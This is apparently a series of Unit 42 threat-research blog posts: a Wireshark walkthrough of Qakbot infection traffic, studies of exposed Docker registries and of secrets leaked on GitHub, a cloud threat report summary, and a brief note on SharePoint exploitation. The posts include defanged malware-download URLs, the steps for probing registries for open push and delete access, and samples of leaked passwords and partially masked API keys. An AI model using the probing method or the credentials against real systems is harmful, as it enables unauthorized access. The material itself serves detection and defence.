Wireshark Tutorial: Examining Qakbot Infections

Posted on by Brad Duncan

Overview

Qakbot is an information stealer also known as Qbot. This family of malware has been active for years, and Qakbot generates distinct traffic patterns. This Wireshark tutorial reviews a recent packet capture (pcap) from a Qakbot infection. Understanding these traffic patterns can be critical for security professionals when detecting and investigating Qakbot infections.

Note: This tutorial assumes you have a basic knowledge of network traffic and Wireshark. We use a customized column display shown in this tutorial. You should also have experience with Wireshark display filters as described in this additional tutorial.

Please also note that the pcap used for this tutorial contains malware. You should review this pcap in a non-Windows environment. If you are limited to a Windows computer, we suggest reviewing the pcap within a virtual machine (VM) running any of the popular recent Linux distros.

This tutorial will cover the following:

    • Qakbot distribution methods
    • Initial zip archive from link in an malspam
    • Windows executable for Qakbot
    • Post-infection HTTPS activity
    • Other post-infection traffic

The pcap used for this tutorial is located here. Download the zip archive named 2020-01-29-Qbot-infection-traffic.pcap.zip and extract the pcap. Figure 1 shows our pcap open in Wireshark, ready to review.

Qakbot Infection Traffic
Figure 1. The pcap for this tutorial.

Qakbot Distribution Methods

Qakbot is most often distributed through malicious spam (malspam), but it also has been distributed through exploit kits as recently as November 2019. In some cases, Qakbot is a follow-up infection caused by different malware like Emotet as reported in this example from March 2019.

Recent malspam-based distribution campaigns for Qakbot follow a chain of events shown in Figure 2.

Figure 2. Flow chart from recent Qakbot distribution campaigns.

Initial Zip Archive from Link in Malspam

Recent malspam distributing Qakbot uses fake email chains that spoof legitimate email addresses. One such example is shown in Figure 3.

Qakbot Infections
Figure 3. Recent malspam example pushing Qakbot.

URLs from these emails end with a short series of numbers followed by .zip. See Table 1 for a few examples of URLs from Qakbot malspam recently reported on URLhaus and Twitter.

First reported URL for initial zip archive
2019-12-27 hxxps://prajoon.000webhostapp[.]com/wp-content/uploads/2019/12/last/033/033.zip
2019-12-27 hxxps://psi-uae[.]com/wp-content/uploads/2019/12/last/870853.zip
2019-12-27 hxxps://re365[.]com/wp-content/uploads/2019/12/last/85944289/85944289.zip
2019-12-27 hxxps://liputanforex.web[.]id/wp-content/uploads/2019/12/last/794/794.zip
2020-01-06 hxxp://eps.icothanglong.edu[.]vn/forward/13078.zip
2020-01-22 hxxp://hitechrobo[.]com/wp-content/uploads/2020/01/ahead/84296848/84296848.zip
2020-01-22 hxxp://faithoasis.000webhostapp.com/wp-content/uploads/2020/01/ahead/550889.zip
2020-01-27 hxxps://madisonclubbar[.]com/fast/invoice049740.zip
2020-01-29 hxxp://zhinengbao[.]wang/wp-content/uploads/2020/01/lane/00571.zip
2020-01-29 hxxp://bhatner[.]com/wp-content/uploads/2020/01/ahead/9312.zip
2020-02-03 hxxp://santedeplus[.]info/wp-content/uploads/2020/02/ending/1582820/1582820.zip

Table 1. URLs for the initial zip archive to kick off a Qakbot infection chain.

In our pcap, you can find the HTTP request for a zip archive using http.request.uri contains .zip in the Wireshark filter as shown in Figure 4.

Qakbot Infections
Figure 4. Finding the URL for the initial zip archive.

Follow the TCP stream to confirm this is a zip archive as shown in Figure 5 and Figure 6, then try to export the zip archive from the pcap as shown in Figure 7.

Qakbot Infections
Figure 5. Following the TCP stream for the HTTP request from our filter results.
Figure 6. Indicators this URL returned a zip archive.
Qakbot Infections
Figure 7. Exporting objects from HTTP traffic in the pcap.

In most cases, the menu for File → Export Objects → HTTP should export a zip archive sent over HTTP. Unfortunately, as shown in Figure 8, we cannot export this file named 9312.zip because it is separated into hundreds of smaller parts within the export HTTP objects list.

Figure 8. 9312.zip is broken up into hundreds of objects within the list, so we cannot export it this way.

Fortunately, we can export data from a TCP stream window and edit the binary in a hex editor to remove any hxxP response headers. Use the following steps to extract the zip archive from this pcap:

    1. Follow TCP stream for the HTTP request for 9312.zip.
    2. Show only the response traffic in the TCP stream Window.
    3. Change “Show and save data as” from ASCII to Raw.
    4. Save the data as a binary (I chose to save it as: 9312.zip.bin)
    5. Open the binary in a hex editor and remove the HTTP request headers before the first two bytes of the zip archive (which show as PK in ASCII).
    6. Save the file as a zip archive (I chose to save it as 9312.zip)
    7. Check the file to make sure it’s a zip archive.

See Figures 9 through 14 for a visual guide of this process.

Qakbot Infections
Figure 9. Step 2 - When viewing the TCP stream, switch from viewing the entire conversation to viewing only data returned from the server.
Qakbot Infections
Figure 10. Step 3 - Show and save data as Raw instead of ASCII.
Qakbot Infections
Figure 11. Step 4 - Save this raw data from the TCP stream as a binary.
Qakbot Infections
Figure 12. Step 5 - Open your saved binary in a hex editor and remove any HTTP response data before the first two bytes of the zip archive (that show as PK in ASCII).
Qakbot Infections
Figure 13. Step 6 - Save your edited binary as a zip archive.
Qakbot Infections
Figure 14. Step 7 - Confirm the edited file is a zip archive, then extract the VBS file and check the file hashes.

Figure 14 shows how to use a terminal window from a Debian-based Linux distro to check the files. From our pcap, the zip archive should be the same as this file submitted to VirusTotal. Our extracted VBS file should be the same as this file also submitted to VirusTotal.

A public sandbox analysis of our extracted VBS file indicates it generates the next Qakbot-related URL in our infection chain: a URL that returned a Windows executable for Qakbot.

Windows Executable for Qakbot

These extracted VBS files generate URLs that return Windows executables for Qakbot. Since December 2019, URLs for Qakbot executables have ended with 44444.png or 444444.png. See Table 2 for some recent examples of these Qakbot URLs we found using our AutoFocus Threat Intelligence service.

First Seen URL for Qakbot executable
2019-12-27 hxxp://centre-de-conduite-roannais[.]com/wp-content/uploads/2019/12/last/444444.png
2020-01-06 hxxp://newsinside[.]info/wp-content/uploads/2020/01/forward/44444.png
2020-01-15 hxxp://iike.xolva[.]com/wp-content/themes/keenshot/fast/444444.png
2020-01-17 hxxp://deccolab[.]com/fast/444444.png
2020-01-21 hxxp://myrestaurant.coupoly[.]com/wp-content/uploads/2020/01/along/444444.png
2020-01-22 hxxp://alphaenergyeng[.]com/wp-content/uploads/2020/01/ahead/444444.png
2020-01-23 hxxp://claramohammedschoolstl[.]org/wp-content/uploads/2020/01/upwards/444444.png
2020-01-23 hxxp://creationzerodechet[.]com/choice/444444.png
2020-01-26 hxxp://productsphotostudio[.]com/wp-content/uploads/2020/01/lane/444444.png
2020-01-27 hxxp://sophistproduction[.]com/wp-content/uploads/2020/01/choice/444444.png
2020-01-30 hxxp://uofnpress[.]ch/wp-content/uploads/2020/01/side/444444.png
2020-02-03 hxxp://csrkanjiza[.]rs/wp-content/uploads/2020/02/ending/444444.png

Table 2. URLs for Qakbot executables.

In our pcap, find the HTTP GET request for our Qakbot executable using hxxp.request.uri contains .png in the Wireshark filter as shown in Figure 15.

Qakbot Infections
Figure 15. Finding the URL for our Qakbot executable.

Export this object from the pcap using the File → Export Objects → HTTP menu path as shown in Figure 16 and check the results as shown in Figure 17.

Qakbot Infections
Figure 16. Exporting our Qakbot executable from the pcap.
Qakbot Infections
Figure 17. Checking the exported file in a Debian-based Linux terminal window.

From our pcap, the Qakbot executable should be this file submitted to VirusTotal. A public sandbox analysis of this file generated several Qakbot indicators (identified as Qbot).

Post-infection HTTPS Activity

Use your basic filter (covered in this previous WIreshark tutorial) for a quick view of web traffic in our pcap. Scroll down to activity after the HTTP GET request to alphaenergyeng[.]com that returned our Qakbot executable. You should see several indicators of HTTPS or SSL/TLS traffic to 68.1.115[.]106 with no associated domain as noted in Figure 18.

Qakbot Infections
Figure 18. HTTPS or SSL/TLS traffic caused by Qakbot.

This traffic has unusual certificate issuer data commonly noted during Qakbot infections. We reviewed unusual certificate issuer data in our previous WIreshark tutorial about Ursnif, so this should be easy to find.

Let’s review our Qakbot certificate issuer data using the following Wireshark filter:

Ip.addr eq 68.1.115.186 and ssl.handshake.type eq 11

For Wireshark 3.0 or newer, use tls.handshake.type instead of ssl.handshake.type. Select the first frame in your results and expand the frame details window until you find the certificate issuer data as shown in Figure 19.

Qakbot Infections
Figure 19. Reviewing certificate issuer data from Qakbot traffic.

Patterns for the locality name, organization name, and common name are highly-unusual, not normally found in certificates from legitimate HTTPS, SSL, or TLS traffic. Our example of this issuer data is listed below:

    • id-at-countryName=ES
    • id-at-stateOrProvinceName=IA
    • id-at-localityName=Uorh Ofwa
    • id-at-organizationName=Coejdut Mavmtko Qxyemk Dxsjie LLC.
    • id-at-commonName=gaevietovp.mobi

Other Post-infection Traffic

Our pcap contains other activity associated with a Qakbot infection. Each activity is not inherently malicious on its own, but taken together with our previous findings, we can assume a full Qakbot infection.

Another indicator of a Qakbot infection is HTTPS traffic to cdn.speedof[.]me. The domain speedof[.]me is used by a legitimate Internet speed test service. Although this is not malicious traffic, we frequently see traffic to cdn.speedof[.]me during Qakbot infections. Figure 20 shows this activity from our pcap.

Figure 20. The domain cdn.speedof[.]me within the Qakbot traffic.
Qakbot also opens windows from all browsers on an infected Windows host. At approximately 13 minutes and 5 seconds into this sandbox analysis, the video playback shows Qakbot opening Chrome, then Firefox, then Internet Explorer on a Windows 7 host. This analysis shows Qakbot generated traffic to the following URLs:

  • hxxp://store.nvprivateoffice[.]com/redir_chrome.html
  • hxxp://store.nvprivateoffice[.]com/redir_ff.html
  • hxxp://store.nvprivateoffice[.]com/redir_ie.html

The domain nvprivateoffice[.]com has been registered through GoDaddy since 2012, and store.nvprivateoffice[.]com shows a default web page for nginx on a Fedora server.

Our pcap for this tutorial is from a Qakbot infection on a Windows 10 host without Chrome or Firefox installed. Our pcap only shows web traffic for Internet Explorer and the new Chromium-based Microsoft Edge. Both times, the URL generated by Qakbot was hxxp://store.nvprivateoffice[.]com/redir_ie.html.

To find this traffic, use the following Wireshark filter as shown in Figure 21:

http.request.full_uri contains store.nvprivateoffice

Figure 21. Finding Qakbot traffic that opens web browsers on an infected Windows host.

Follow the TCP stream for each of the two HTTP GET requests ending in redir_ie.html. The first request has a User-Agent in the HTTP headers for Internet Explorer as shown in Figure 22. The second request for the same URL has a User-Agent in the HTTP headers for the new Chromium-based Microsoft Edge as noted in Figure 23.

Figure 22. Qakbot traffic to store.nvprivateoffice[.]com using Internet Explorer 11.
Figure 23. Qakbot traffic to store.nvprivateoffice[.]com using the new Chromium-based Microsoft Edge.
Finally, our pcap from the Qakbot-infected host also has email-related TCP traffic to various ports for various email protocols like SMTP, IMAP, and POP3. To get an idea of this non-web-related traffic, use the following Wireshark filter as shown in Figure 25:

tcp.flags eq 0x0002 and !(tcp.port eq 80) and !(tcp.port eq 443)

Figure 25. Getting an idea of the non-web-related traffic from this Qakbot infection.

Figure 25 shows TCP connections and attempted TCP connections to various ports like 25, 110,143, 465, 587, 993, and 995 commonly used by different email protocols. The first two lines in the results show traffic to TCP port 65400, but reviewing the associated TCP streams indicates this also email-related traffic.

Use the following Wireshark filter to get a better idea of email-related traffic from the infected host as shown in Figure 26:

smtp or imap or pop

Figure 26. Finding email-related traffic caused by Qakbot in this pcap.

Follow some of the TCP streams to get a better idea for this type of email traffic. We do not normally see such unencrypted email traffic originating from a Windows client to public IP addresses. Along with other indicators, this smtp or imap or pop filter may reveal Qakbot activity.

Conclusion

This tutorial provided tips for examining Windows infections with Qakbot malware. More pcaps with examples of Qakbot activity can be found at malware-traffic-analysis.net.

For more help with Wireshark, see our previous tutorials:

 

Unit 42 CTR: Leaked Code from Docker Registries

Posted on by Jay Chen

Executive Summary

The Unit 42 Cloud Threat Report: Spring 2020 focused on the practices of DevOps to determine where misconfigurations are happening in the cloud. Our research found a large number of DevOps services (e.g., SSH, Database, Code Repository) inadvertently exposed to the internet due to misconfigured infrastructure. This blog offers a detailed analysis of leaked code from Docker registries and how this, and other insecure infrastructure of misconfigurations, can lead to compromises in an organization’s security posture.

Misconfigurations are the low hanging fruits that attackers continuously look for. A misconfiguration can put your entire cloud infrastructure at risk.

What it Means to "Shift Left"

Shift left is a practice of identifying vulnerable code and removing vulnerabilities in the early stage of the Software Development Life Cycle (SDLC). The idea is to integrate security measures into SDLC as early as possible, so that vulnerabilities and bugs can be removed before production. While the shift-left movement mainly focuses on securing the applications, the same concept can also be applied to infrastructure. An infrastructure vulnerability or misconfiguration can be as bad if not worse than an application vulnerability. With Infrastructure as Code (IaC) maturing, infrastructure can now be scrutinized for vulnerabilities before being created.

In particular, we looked at the exposed Docker registries due to the misconfigured network access control. These registries contain the application source code and historical versions. When leaked, proprietary intellectual property can be stolen, malicious code can be injected, and operation critical data can be hijacked. We identified 2,956 exposed applications and 15,887 unique versions of the applications. The owners of these unsecured registries include research institutes, retailers, news media organizations, and technology companies.

Docker Registry

WARNING: Because Docker images contain application source code and business-sensitive data, it is crucial to restrict the access to Docker registries and ensure the integrity of the data.

A Docker image contains a collection of files that can be deployed as a single container. Docker images incorporate the application code, dependent libraries, and operating system files in a single bundle that can run independently in an OS-agnostic environment. Docker registry is a server for storing and organizing Docker images. Inside each Docker registry, images are organized into repositories, where each repository holds the images of one application (e.g., httpd, nginx, WordPress). Each repository can also hold multiple versions of the application, where a unique tag identifies each version. As a result, Docker registry is like version-controlled storage for containerized applications. Docker registry supports three primary operations (pushing images, pulling images, and deleting mages), which are well-defined by the registry APIs.

To store container images, one can set up an on-premise registry server or use a cloud-based registry service. On-premise registries can be easily created with the official registry container. The current Docker registry is maintained by open-source Moby Project. The system administrator is responsible for the storage infrastructure, DevOps pipeline integration, and access control. Most cloud service providers offer managed registry services, e.g., DockerHub, Amazon Elastic Container Registry (ECR), Azure Container Registry (ACR), and Google Container Registry (GCR). The cloud-based registries usually offer additional features such as GUI user interface, vulnerability scanning, and integrated access control on top of the native Docker registry. They ease the burden of managing and maintaining the registry infrastructure.

Explore the Unsecured Docker Registries

Although setting up a Docker registry server is straightforward, securing the communication and enforcing the access control requires extra configurations. System administrators may unintentionally expose a registry service to the internet without enforcing proper access control. In this research, we are interested in finding these "misconfigured" registries and exploring the leaked data. Note that we collected only the metadata and did not attempt to access the file content.

Docker registry includes a "Docker-Distribution-API-Version" header in every API response, even when the request is denied with a 401 unauthorized status code. With this header signature, we can search on Shodan and Censys for the Docker registries on the internet. Although Docker registries run on port 5000 (http) or 5001(https) by default, they can be exposed to any port. The benefit of querying Shodan and Censys using the header signature instead of the port number is that they return the matches across all the 300+ ports. Figure 1 describes how we identified and explored the unsecured registries.

Exposed Docker Registry
Figure 1. Process of finding the exposed docker registries
  • Step 1 uses the Shodan and Censys' search API to find all the servers that have a "Docker-Distribution-API-Version" header in the response.
  • Step 2 finds the actual Docker registry servers by sending the "check version" request and checking the response. A valid registry server should return its version number in the “Docker-Distribution-API-Version” header. E.g., docker-distribution-api-version: registry/2.0. A 200 status code indicates that the registry does not require authentication and a 401 status code indicates that the registry expects an authentication token in the WWW-Authenticate header.
  • Step 3 tests if the pull operation is allowed by sending the "list repository" and "list tag" requests. A 200 status code indicates that the pull operation is allowed and a 401 or 403 status code indicates that authentication or authorization is required to pull images.
  • Step 4 tests if the push operation is allowed by sending the "blob upload" request with a random repository name. This request asks the registry to initialize an image upload process. The registry returns an upload URL in the "location" header and status code 202 if the push operation is allowed. This upload session is then terminated with the "cancel upload" request. A status code 204 indicates the upload session is canceled successfully.
  • Step 5 tests if the delete operation is allowed by sending an "image deletion" request with a random repository name and random image digest. We can tell if the delete option is allowed by checking the status code without actually deleting any image. If the delete operation is allowed but the image digest does not exist, status code 400 is returned with the error message "DIGEST_IMVALID". If the delete operation is not allowed, status code 405 is returned with error message "UNSUPPORTED".

Findings in the Unsecured Docker Registries

Our research identifies 941 Docker registries exposed to the internet and 117 registries accessible without authentication. There are a total of 2,956 repositories and 15,887 tags in these registries. Out of the 117 unsecured registries, 80 registries allow the pull operation, 92 registries allow the push operation, and 7 registries allow the delete operation. Without looking into the image content, we could attribute about 25 percent of the unsecured registries by reverse DNS lookup or cnames in the TLS certificates. The owners of these registries range from research institutes, retailers, news media organizations and technology companies. Some exposed registries have more than 50 repositories and 100 tags exposed. With all the source code and historical tags, malicious actors can design tailored exploits to compromise the systems. If the push operation is allowed, benign application images may be replaced with images with backdoors. These registries may also be used for hosting malware. If the delete operation is allowed, hackers could encrypt or delete the images and ask for ransom. As each registry is typically accessed by multiple clients, all the clients who pull and run images from the compromised registries immediately become vulnerable.

Figures 2-5 summarize the findings in the exposed registries. Figure 2 shows the percentage of registries that implement the https or authentication header. Our focus is on the registries that do not require authentication headers. Figure 3 is a venn diagram of the allowed operations (pull, push, or delete) across the unsecured registries. Figure 4 shows a sample snapshot of the exposed repositories and tags. Figure 5 details the number of repositories and tags in the unsecured registries. It is shocking to see the amount of data leaked from these registers, not to mention the potential damage that lateral movements can lead to.

Exposed Docker Registries
Figure 2. TLS and authentication adoption rate of the exposed registries
Exposed Docker Registries
Figure 3. The allowed operations of the exposed registries
Exposed Docker Repositories
Figure 4. A sample of the unsecured repositories and tags
Exposed Docker Registries.
Figure 5. The number of repositories and tags in the exposed registries.

Conclusion

In this blog, we showed that a misconfigured Docker registry could leak confidential data, lead to a full-scale compromise, and interrupt the business operations. The remediation strategy for this particular misconfiguration is straightforward, such as adding a firewall rule to prevent the registry from being accessed from the internet and enforcing authentication header in all the API requests. However, with an ever-increasing number of applications and complexity of infrastructure, security becomes a daunting job. Automated tools are needed to scan for vulnerabilities and monitor malicious activities constantly. The earlier the issues can be identified, the less chance they will be exploited in the production.

Prisma Cloud provides a comprehensive solution to protect the entire software development life cycle from infrastructure security to application security. The focus on shift left and DevOps security also helps Prisma Cloud clients defend against the most advanced cyber attacks.

Download the Unit 42 Cloud Threat Report: Spring 2020 for more research and best practices to implement in your organization.

Additional Resources

 

Unit 42 CTR: Sensitive Data Exposed in GitHub

Posted on by Nathaniel Quist

Executive Summary

The Unit 42 Cloud Threat Report: Spring 2020 focused on the practices of DevOps to determine where misconfigurations are happening in the cloud. This blog offers a detailed analysis of GitHub repositories and the immediate need to “shift-left” security checks to enable all teams - DevOps, engineering and security - to discover and remediate issues earlier.

Few data repositories are more widely leveraged for fast-tracking code from development into production than GitHub. However, as the old adage states ‘with greater speed, comes higher risk’.

Researchers found that an organization’s usage of public GitHub accounts combined with the high potential for DevOps to leak sensitive information, there was an increased risk of data loss or sustained compromising events. However, with proper implementation of DevSecOps and the usage of GitHub Event API scanners, organizations can greatly decrease their risk of exposing compromising information publicly.

Key Findings

Unit 42 researchers analyzed more than 24,000 public GitHub data uploads via the GitHubs Event API and found thousands of files containing potentially sensitive information, which included:

GitHub Exposed Data

GitHub’s Event API

GitHub provides developer access to an Events API search feature. This allows for the near-real-time listing of files and code posted to GitHub servers. With a limit of 5,000 requests per hour, per account, the event API allows researchers to view and scan any file pushed to Github that is available within the public domain, e.g. publicly shared. There are several tools that take advantage of this functionality. On the commercial side, GitHub itself operates and maintains the GitHub Token Scanner. This inspects files for token strings to attempt to prevent fraud and abuse. The AWS’ git-secrets is used by AWS to scan for usernames and passwords, as well as other critical strings to prevent their exposure. There are also Open Source GitHub Event API scanners like gitrob and trugglehog which have been used by red teams, pen testers, and malicious users alike to identify potentially sensitive information.

 

ShhGit Live

Image 1. shhgit logo
Image 1. shhgit logo

 

Unit 42 researchers used eth0izzle's shhgit to read near-real time GitHub events and attempted to answer three questions.

    1. Is potentially sensitive data found within the files?
    2. Could they be traced to an organization?
    3. Could security precautions have prevented unwanted exposure of potentially sensitive data?

Simply put, the answer to all three was yes. Researchers found and analyzed more than 24,000 unique GitHub files which triggered upons shhgit’s premade 120 signature rules as well as custom Unit 42 signature rules. Researchers found a number of potentially sensitive data entries including:

    • 4109 Configuration files
    • 2464 API keys
    • 2328 Hardcoded username and passwords
    • 2144 Private key files
    • 1089 OAuth tokens

Upon analysis of these findings, Unit 42 researchers confirmed the validity of the findings and were able to identify file owners, project names, and in some cases the names of commercial companies posting this information.

Breaking down the results

Hardcoded Passwords

Researchers determined the most critical finding to be the presence of hardcoded passwords. In total, 2328 username and password entries, consisting of 880 unique passwords were found including 797 unique usernames. These passwords were found within service URL API entries and SSH configuration files. Researchers noted that only 18% of total password entries were associated with the top 10 most common passwords. The password ‘password’ taking the lead with 72 total entries, and the password ‘secret’ came in second with 51, see table 1 for breakdown the top 10 most common passwords identified.

Password Count
password 72
secret 51
admin 46
1234 41
db_password 40
*** 38
pass456 35
root 34
pass-word-pass-word-pass-word 29
token 26

Table 1: Top 10 most common identified passwords

Perhaps what is more interesting is that 817 of the 880 unique password entries occurred 3 or fewer times, with 665 passwords only occurring 1 time. What makes these statistics very interesting is the uniqueness of the passwords themselves. For example, the following is a sampling of ten password entries:

    • p4ssW0rde
    • P@##w0rd
    • Password!
    • qwerty123456789
    • simplepass123
    • sqluser2019
    • supersecret
    • wilson1234567
    • xxxxxxxxxxxxxxxxxxxx
    • Z*NsqgS5$@jHsF2

From a subjective viewpoint, researchers noted some of the passwords are thought to be common among corporations. Most meet minimum password requirements and they are easy to remember, e.g. the first two “password” passwords. However, these passwords can be easily guessed by malicious actors and are often present within most bruteforce dictionary listings. Other entries within the provided sample are very simple passwords with only lowercase and number combinations, or even simply the letter ‘x’ repeated 20 times. Researchers give these passwords a ‘high likelihood of being legitimate’ due to the pseudo complexity patterns they exhibit as well as the uniqueness of the entries. Meaning these are likely passwords that engineers are using within their own production environments. Additionally, due to the high occurrence of these passwords appearing within URL API requests to common cloud services, like Redis, PostgreSQL, MongoDB, and AMPQ, it is highly likely these same pseudo complex passwords are used within cloud environments themselves.

In contrast, researchers only found 27 unique instances where a variable password entry was used, indicating temporary or dynamic password usage. For example, $password, {password}, or %Password%. These 27 unique passwords instances only accounted for a total of 67 out of the 2328 passwords identified, or less than 3%.

Hardcoded API Keys and OAuth Tokens

Unit 42 researchers identified 2464 API keys and 1998 OAuth tokens within the 24,000+ triggered GitHub files. These elements were found to be unique with only 15 keys or tokens repeating more than 4 times, and only one repeating the most at 12 times across all of the triggered GitHub files, see table 2.

API Key Count
AIzaSyxxxxxxxxxxy2TVWhfo1VUmARKlG4suk 12
AIzaSyxxxxxxxxxx4kQPLP1tjJNxBTbfCAdgg 9
AIzaSyxxxxxxxxxxYmhQgOjt_HhlWO31cYfic 8
AIzaSyxxxxxxxxxxq_V7x_JXkz2llt6jhI5mI 6
AIzaSyxxxxxxxxxxnpxfNuPBrOxGhXskfebXs 6
AIzaSyxxxxxxxxxxRJ4c2tVRJxu8hZzcWA1fE 5
AIzaSyxxxxxxxxxxfUutD2aeWE1WFdnTBd_Jc 5
AIzaSyxxxxxxxxxxPdQUkRUerdohx28Fuv4wE 5
AIzaSyxxxxxxxxxxc2127s6TkcilVngyfFves 4
AIzaSyxxxxxxxxxx7SALQhZKfGBN3sFDs27Ps 4
AIzaSyxxxxxxxxxxJFdebWiX5KqyLHdakBOUU 4
AIzaSyxxxxxxxxxxVtidHrO1LXtfT3TFZuEOA 4
AIzaSyxxxxxxxxxxrzdcL6rvxywDDOvfAu6eE 4
AIzaSyxxxxxxxxxxEnTs4EfSxFIdFIdowigCs 4
AIzaSyxxxxxxxxxx4o82um7Gj1rY7R9W0apWg 4

Table 2. Top 15 API Keys

Due to the nature of API keys and OAuth keys, these elements provide direct user access to a designated cloud environment. Should an API key or OAuth token fall into the wrong hands, the malicious actor could impersonate the engineer and gain control of the environment. In a worst case scenario, if an API key was created with administrative privileges within a cloud environment, anyone who used that API key would have full access to the cloud account. Legitimate API key exposure does occur. Take for example an incident reported by UpGuard. Nearly 1GB worth of data including AWS API keys, log files, and IaC templates were exposed via GitHub. This incident detailed the exposure of legitimate API keys contained within service and infrastructure configuration files to the public. The credentials and API keys were found to be associated with root accounts held by a commercial organization.

Keys and Token, much like passwords, must be guarded and controlled to ensure they are only known to legitimate users. Any lost or potentially leaked API key or OAuth token should be immediately revoked and reissued. Table 3 displays the identified 2464 API keys and 1098 OAuth tokens and the environment in which they were associated.

Environment Count
Google Cloud API Key 1998
Google OAuth Token 1098
Miscellaneous - API_KEY 358
SonarQube Docs API Key 84
MailGun API Key 19
NuGet API Key 4
Twilo API Key 1

Table 3. Identified environments with associated API and OAuth keys

Configuration and Private key files

Unit 42 researchers completed their cloud deep-dive by analyzing configuration and private key files. Configuration files represented the highest single category of files identified by sshgit and Unit 42 signature rules with nearly 17% of the 24,000 files. The most common configuration file type was a Django configuration file which contained more than a 3rd of all configuration file types identified, see table 4. Django is a python based web framework that promotes fast development and design. PHP, which is also a very common scripting language used in web design, came in third. These web based configuration files could expose an organization’s cloud infrastructure allowing attackers to easily access cloud server internals. This would make for easier exploitation or post exploitation operations as well.

Configuration File Count
Django configuration file 1473
Environment configuration file 601
PHP configuration file 587
Shell configuration file (.bashrc, .zshrc, .cshrc) 328
Potential Ruby On Rails database configuration file 266
NPM configuration file 233
Shell profile configuration file 211
Shell command alias configuration file 130
Git configuration file 113
SSH configuration file 35

Table 4. Top 10 configuration file types

Researchers identified an elevated presence of environmental and shell configuration files. These types of configuration files establish the environmental controls for a system or service. Shell, SSH, profile, and Git configuration files are also present within the top ten listing of identified configuration files. In relation to the previous sections, it is not uncommon for services to demand username and password, API key, or token placeholders within configurations files. Researchers found nearly 80% of the configuration files contained some aspect of a username or password, API key, or OAuth token.

Conclusion

Unit 42 researchers found evidence that users upload sensitive data to GitHub. This sensitive data contained:

    • Hardcoded username and passwords
    • Hardcoded API keys
    • Hardcoded OAuth tokens
    • Internal service and environmental configurations

As was noted in our recent DevOps focused Cloud Threat Report, Unit 42 researchers strongly recommend that every IaC template pulled from a public repository, such as GitHub, be thoroughly scanned for vulnerabilities as part of the CI/CD pipeline. The evidence points to nearly half of every scanned CloudFormation template (CFT) containing a potentially vulnerable configuration. The odds of deploying a vulnerable cloud template are significant. Additionally, organizations should make use of GitHub Event API scanners to assist in the prevention of exposing sensitive internal information via GitHub code publications.

Remediations

Researchers recommend that users and organizations who publish code to a GitHub repository use the following mitigations to ensure configuration files do not leak sensitive information publicly:

    • Implement variable and CLI argument-based code writing practices to remove hardcoded username and passwords, API keys, and OAuth tokens from code samples.
    • Implement a password security policy mandating the usage of complex passwords
    • Implement a publication policy to regulate and prevent the sharing of internal sensitive data via external sources.
    • Use GitHub’s Enterprise account capabilities to ensure that public sharing practices are more closely scrutinized.
    • Use tools like AWS-git secrets, GitHub’s TokenScanner, gitrob, or trugglehog to identify and remove tokens from being published publicly

Download the Unit 42 Cloud Threat Report: Spring 2020 for more research and best practices to implement in your organization.

Additional Resources

 

Unit 42 Cloud Threat Report: Spring 2020

Posted on by Unit 42

Introduction

Cloud computing is now at the center of nearly every business strategy. But, as with the rapid adoption of any new technology, growing pains persist. To help organizations achieve secure cloud computing and innovation, the cloud-focused division of Unit 42 has released the Spring 2020 edition of the bi-annual Unit 42 Cloud Threat Report.

Based upon threat intelligence from multiple data sources, including publicly available data and proprietary data from Palo Alto Networks, the key findings shed light on security missteps that are actually in practice by organizations across the globe.

Zeroing in on the practices of DevOps, the research in this report indicates that while Infrastructure-as-Code (IaC) offers security teams a systematic way to enforce security standards, this powerful capability remains largely unharnessed, leading to a higher likelihood of exploitable cloud vulnerabilities.

Key Findings

In addition to the top-line findings highlighted in the executive summary, the following highlights dive into specific data points that reinforce the research and recommendations outlined in the report.

CloudFormation Configuration Files

    • Nearly 50% of every scanned CloudFormation template (CFT) contains a potentially vulnerable configuration. This makes the odds of deploying a vulnerable cloud template significant. The example to the right highlights an insecure CFT with an S3 bucket exposed to the entire internet.
S3 Bucket Exposed to Internet
Figure 1. Insecure CloudFormation template with S3 bucket exposed to the entire internet
    • 42% of all CloudFormation configuration files contained at least one insecure configuration. Notably, templates tend to leave data storage services unencrypted and logging events within cloud environments appear to be weak. Cloud Threat Report Data

Terraform Configuration Files

    • 22% of all Terraform configuration files contained at least one insecure configuration. Unfortunately, a similar pattern emerged around cloud storage logging and network access control.

Cloud Threat Report 2020 Data

Putting the IaC Data Puzzle Pieces Together

DevOps teams are shortening the time to production using infrastructure as code (IaC) templates, but the IaC templates themselves are not the issue. It’s the flawed process by which they are being created. Most IaC templates are created through a simple three-step process: design, code, and deploy.

What’s getting many DevOps teams in trouble is the missing check on risk; scanning for security issues. Just like application code, IaC templates must be scanned for security issues every time they are created or updated. But as the report outlines, this step is currently overlooked.

Unit 42 researchers strongly recommend that every IaC template pulled from a public repository, such as GitHub, be thoroughly scanned for vulnerabilities as part of the CI/CD pipeline.

Three Distinct Goals to Empower Your Business

Shortening time to production using IaC templates can affect the risk profile of cloud infrastructure. The Unit 42 Cloud Threat Report can help your organization stay secure in the cloud in three distinct ways:

    1. Provide situational awareness of the latest adversary tactics that could cause significant security incidents unique to the cloud.
    2. Empower DevOps and security teams stay ahead of attackers with best practices.
    3. Instill the mindset that a secure cloud is not possible unless organizations shift left and fully embrace DevSecOps.

Get the full Unit 42 Cloud Threat Report: Spring 2020 for more research and best practices to implement in your organization.

Additional Resources

 

Actors Still Exploiting SharePoint Vulnerability to Attack Middle East Government Organizations

Posted on by Robert Falcone

Executive Summary

On September 10, 2019, we observed unknown threat actors exploiting a vulnerability in SharePoint described in CVE-2019-0604 to install several webshells on the website of a Middle East government organization. One of these webshells is the open source AntSword webshell freely available on Github, which is remarkably similar to the infamous China Chopper webshell.

On January 10, 2020, we used Shodan to search for Internet accessible servers running versions of SharePoint vulnerable to CVE-2019-0604. While admittedly the version numbers provided by SharePoint within HTTP responses do not always provide the precise SharePoint version number, we decided to use it to check if it was less than the version numbers of the patched SharePoint versions from the Microsoft advisory. We performed this comparison and found 28,881 servers that advertised a vulnerable version of SharePoint. We did not actively check each server to verify if they were indeed vulnerable, so it is possible that many of these public-facing SharePoint servers were not vulnerable or since patched. Regardless, the sheer number of servers and publicly available exploit code suggests that CVE-2019-0604 is still a major attack vector.

Using this collection of webshells, the actors moved laterally to other systems on the network by dumping credentials with a variant of the notorious Mimikatz tool and using Impacket’s atexec tool to use dumped credentials to run commands on other systems. On September 19, 2019, we observed the same exact Mimikatz variant uploaded to a webshell hosted at another government organization in a second country in the Middle East. The Mimikatz variant uploaded to these two organizations is unique, as it involves a seemingly custom loader application written in .NET. Therefore, we believe that the same threat group is behind both intrusions.

